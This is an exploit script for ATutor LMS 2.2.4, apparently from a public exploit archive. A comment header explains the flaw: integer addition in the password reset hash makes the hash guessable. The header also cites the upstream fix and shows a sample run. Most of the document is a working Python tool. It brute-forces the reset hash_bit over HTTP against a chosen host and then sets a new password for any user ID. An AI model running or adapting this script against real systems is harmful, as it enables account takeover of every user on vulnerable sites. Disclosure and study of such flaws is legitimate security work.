# Exploit Title:    ATutor LMS 2.2.4 - Weak Password Reset Hash
# Date:             2020-05-05
# Exploit Author:   Hodorsec
# Version:          2.2.4
# Software Link:    https://atutor.github.io/atutor/downloads.html
# Vendor Homepage:  https://atutor.github.io
# Tested on:        Debian 10 x64 - PHP 7.3.15-3

# Problem:
# While the original intention of the program was to probably concatenate strings as indicated for the $hash value, this doesn't happen.
# Instead, due to the left-associativity of the "+" operator, the integers of "id" and "g" are added first.
# Lastly, the password gets added as integer as well via the "h" SHA1 hashed password, while a SHA1 password doesn't consist of only integers.
#
# Analysis:
# During analysis, it appeared ONLY the first readable numeric digits are added from the SHA1 hash. 
# Numeric digits at the beginning of a random SHA1 string, are being added to the variables "id" and "h". 
# This might have an impact on many requests, if a large numeric prefix is used in a SHA1 hash.
#
# Vulnerability:
# A valid user ID, the UNIX Epoch in days of maximum +2 and a generated number would be sufficient to generate valid hash bits.
# The hash bits could be attempted to send to the webserver, and if the content contains a valid "change your password" dialog, the attack was successful.
#
# Impact:
# This means any malicious attacker could modify the password of every user, issueing a maximum of 100 requests per user ID.
#
# Fix:
# Appears to be already fixed on the Master branch on Github, however: the 2.2.4 "tar.gz" still contains the unfixed version of "password_reminder.php"
#
# Github details: 
# https://github.com/atutor/ATutor/issues/177
# https://github.com/atutor/ATutor/commit/557dc83071ec36c5ca22a1ea08d57778283905ca
#
# Reproduction:
# EXAMPLE
# $ python3 poc_atutor_2.2.4_iterate_hashbits.py http 192.168.252.13 80 /ATutor 1 2 password
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=6d520a1dabb8ae6
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=c3300a342a267a4
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=cd255501ba0a052
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=1a9df2a3fad2f0c
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=1450a1414a4107e
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=83618d638c3b1fa
#
# [*] SUCCESS: Hashbit 83618d638c3b1fa allows changing password for user ID 1 using 18385 for Epoch days
# [*] Used 6 number of requests
#
# [*] Changing password...
# [*] Password changed successfully!

#!/usr/bin/python3
import hashlib,string,itertools,re,sys
import requests
import urllib3
import os
import time
import sys
from random_useragent.random_useragent import Randomize     # Randomize useragent

# Optionally, use a proxy
# proxy = "http://<user>:<pass>@<proxy>:<port>"
proxy = ""
os.environ['http_proxy'] = proxy
os.environ['HTTP_PROXY'] = proxy
os.environ['https_proxy'] = proxy
os.environ['HTTPS_PROXY'] = proxy

# Disable cert warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set timeout
timeout = 3

# URL
urlpage = "/password_reminder.php"

# Handle CTRL-C
def keyboard_interrupt():
    """Handles keyboardinterrupt exceptions"""
    print("\n\n[*] User requested an interrupt, exiting...")
    exit(1)

# Set optional headers
def http_headers():
    # Randomize useragent
    useragent = Randomize().random_agent('desktop', 'windows')
    # HTTP Headers. Might need modification for each webapplication
    headers = {
        'User-Agent': useragent,
    }
    return headers

def gen_code(id, epoch_day, digits):
    """ Generate a hash_bit, substring of a SHA1 hash based on 'id', 'g' (epoch day) and SHA1 raw-hashed password
    94        $hash = sha1($_REQUEST['id'] + $_REQUEST['g'] + $row['password']);
    95      $hash_bit = substr($hash, 5, 15); """
    codes = []
    chars = range(0,10 ** digits)                                       # Range of numeric digits to use for guessing the SHA1 prefix
    for num in chars:
        to_hash = str(id + epoch_day + num)                             # Only checks on the first set of numeric occurences in the SHA1 hash
        hash_bit = hashlib.sha1(to_hash.encode()).hexdigest()[5:5+15]   # Hash it, Python equivalent of PHP substr(5,15)
        codes.append(hash_bit)                                          # Add the hashbit to the array for testing later on
    return codes

def iterate_hashbits(method, host, port, prefix, id, digits):
    """ Set epochs with a maximum of today + 2
    75  //check if expired
    76  $current = intval(((time()/60)/60)/24);
    77  $expiry_date =  $_REQUEST['g'] + AT_PASSWORD_REMINDER_EXPIRY; //2 days after creation """
    current_epoch_days = int(((int(time.time()) / 60) / 60) / 24)       # Calculate current Epoch in days
    max_epoch_days = int(current_epoch_days + 2)                        # Maximum Epoch in days, as hardcoded by Atutor
    
    # Set initial variables
    headers = http_headers()                                            # Reuse the static headers, due to odd behaviour of Atutor changing user-agent between requests
    txt_pass_change = "Enter a new password for your account"           # Text to check later if attempt was successfull
    count = 0

    # Iterate between today and today + 2
    # Iteration of hashbits
    for epoch_day in range(current_epoch_days, max_epoch_days + 1):     # Add one to include stop value for range
        codes = gen_code(id, epoch_day, digits)
        for code in codes:
            url = method + "://" + host + ":" + port + prefix + urlpage + "?id=" + str(id) + "&g=" + str(epoch_day) + "&h=" + code
            print("[*] Issueing password change requests to URL: " + url)

            try:
                r = requests.get(url, allow_redirects=False, headers=headers, verify=False, timeout=timeout)
                count += 1
            except requests.exceptions.Timeout:
                print("[!] Timeout error\n")
            except requests.exceptions.TooManyRedirects:
                print("[!] Too many redirects\n")
            except requests.exceptions.ConnectionError:
                print("[!] Not able to connect to URL\n")
            except requests.exceptions.RequestException as e:
                print("[!] " + e)
            except requests.exceptions.HTTPError as e:
                print("[!] Failed with error code - " + e.code + "\n")
            except KeyboardInterrupt:
                keyboard_interrupt()

            if txt_pass_change in r.text:
                print("\n[*] SUCCESS: Hashbit " + code + " allows changing password for user ID " + str(id) + " using " + str(epoch_day) + " for Epoch days")
                print("[*] Used " + str(count) + " number of requests\n")
                return [code, epoch_day]
            elif int(r.status_code) != 200:
                print("\n[!] FAIL: " + url + " doesn't seem to respond correctly.\n")
                exit(-1)
        print("\n[!] FAIL: Code not found, something went wrong.\n")
        exit(-1)

def change_pass(method, host, port, prefix, id, code, epoch_day, password):
    """ Set a new password with a valid hashbit as code
    97      if ($_REQUEST['h'] !== $hash_bit) {
    98          $msg->addError('INVALID_LINK');
    99      } else if (($_REQUEST['h'] == $hash_bit) && !isset($_POST['form_change'])) {
    100             $savant->assign('id', $_REQUEST['id']);
    101             $savant->assign('g', $_REQUEST['g']);
    102             $savant->assign('h', $_REQUEST['h']);
    103             $savant->display('password_change.tmpl.php');
    104         }
    """    
    print("[*] Changing password...")
    headers = http_headers()
    url = method + "://" + host + ":" + port + prefix + urlpage
    sha1_pass = hashlib.sha1(password.encode()).hexdigest()
    post_data = {'form_change':'true',
                'id':str(id),
                'h':code,
                'g':str(epoch_day),
                'form_password_hidden':sha1_pass,
                'submit':'Submit'}
    
    try:
        r = requests.post(url, data=post_data, headers=headers, verify=False, timeout=timeout)
    except requests.exceptions.Timeout:
        print("[!] Timeout error\n")
    except requests.exceptions.TooManyRedirects:
        print("[!] Too many redirects\n")
    except requests.exceptions.ConnectionError:
        print("[!] Not able to connect to URL\n")
    except requests.exceptions.RequestException as e:
        print("[!] " + e)
    except requests.exceptions.HTTPError as e:
        print("[!] Failed with error code - " + e.code + "\n")
    except KeyboardInterrupt:
        keyboard_interrupt()

    if 'changed' in r.text:
        print("[*] Password changed successfully!\n")
        exit(1)
    else:
        print("[!] Something went wrong changing password.\n")
        exit(-1)

def main():
    if len(sys.argv) != 8:
        print("[+] Usage: " + sys.argv[0] + " <http/https> <host> <port> <url_prefix> <user_id> <digits> <password>\n")
        print("[+] Eg: " + sys.argv[0] + " http 192.168.11.1 80 /ATutor 1 2 Password12345")
        print("[+] Eg: " + sys.argv[0] + " https yourlocalserver.local 443 / 3 4 Someotherpassword\n")
        print("[+] Use the <digits> parameters with caution due to possible excessive amounts of requests, uses 'digit ^ 10' amount of requests. Value 2 would be a nice value to start with.\n")
        exit(-1)

    # Set variables
    method = str(sys.argv[1])
    host = str(sys.argv[2])
    port = str(sys.argv[3])
    url_prefix = str(sys.argv[4])
    id = int(sys.argv[5])
    digits = int(sys.argv[6])
    password = str(sys.argv[7])

    # Iterate through bits of hashes
    code_epoch = iterate_hashbits(method, host, port, url_prefix, id, digits)
    code = code_epoch[0]
    epoch_day = code_epoch[1]
    change_pass(method, host, port, url_prefix, id, code, epoch_day, password)

if __name__ == "__main__":
    main()